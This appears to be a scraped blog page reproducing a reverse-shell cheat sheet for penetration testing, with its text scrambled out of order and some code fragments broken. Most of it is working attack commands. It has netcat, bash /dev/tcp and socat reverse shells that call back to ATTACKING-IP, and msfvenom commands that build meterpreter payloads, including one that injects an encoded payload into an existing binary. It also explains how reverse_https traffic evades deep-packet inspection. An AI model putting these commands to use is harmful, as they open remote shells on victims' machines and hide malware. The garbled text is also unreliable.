12/30/2023 0 Comments Php reverse shell without fsockopen![]() ![]() One feature it has that netcat does not have is encryption. Ncat is a better and more modern version of netcat. Without -e flag rm -f /tmp/p mknod /tmp/p p & nc ATTACKING-IP 4444 0/tmp/p With -e flag nc -e /bin/sh ATTACKING-IP 80 Inject payload into binary msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o bad_binary.exe Staged payload msfvenom -p windows/shell/reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o staged_reverse_tcp.exe Non-staged payload msfvenom -p windows/shell_reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o shell_reverse_tcp.exe msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=443 -f exe -o met_https_reverse.exe ![]() Since it is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections. It makes the meterpreter-traffic look normal. Set payload windows/meterpreter/reverse_tcp Standard meterpreter msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -o shell_reverse.exe This can be caught with metasploit multi-handler but not with netcat. First it sends some parts of it and sets up the connection, and then it sends some more. This can be useful for when you have very small buffer for your shellcode, so you need to divide up the payload. This can be caught with metasploit multi-handler. A non-staged shell is sent over in one block. There is an important difference between non-staged and staged payload. ![]() Many of the ones listed below comes from this cheat-sheet: This is s great collection of different types of reverse shells and webshells. The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine.Common ports\/services and how to use themīroken Authentication or Session Managementĭefault Layout of Apache on Different Versions Source: socat tcp:ip:port exec: 'bash -i' ,pty,stderr,setsid,sigint,sane & Golang Reverse Shell echo ' package main import "os/exec" import "net" func main ()' #!/usr/bin/gawk -f Bash Reverse Shells exec /bin/bash 0&0 2>&0 0/dev/tcp/ATTACKING-IP/80 sh &196 2>&196 exec 5/dev/tcp/ATTACKING-IP/80Ĭat &5 >&5 done # or: while read line 0&5 >&5 done bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1 socat Reverse Shell If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.ĪTTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above). Your remote shell will need a listening netcat instance in order to connect back, a simple way to do this is using a cloud instance / VPS - Linode is a good choice as they give you a direct public IP so there is no NAT issues to worry about or debug, you can use this link to get a $100 Linode voucher. Updated to add the reverse shells submitted via Twitter - Original post date Setup Listening Netcat If you found this resource usefull you should also check out our penetration testing tools cheat sheet which has some additional reverse shells and other commands useful when performing penetration testing. At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux. During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.īelow are a collection of Windows and Linux reverse shells that use commonly installed programming languages PHP, Python, Powershell, nc (Netcat), JSP, Java, Bash, PowerShell (PS). ![]()
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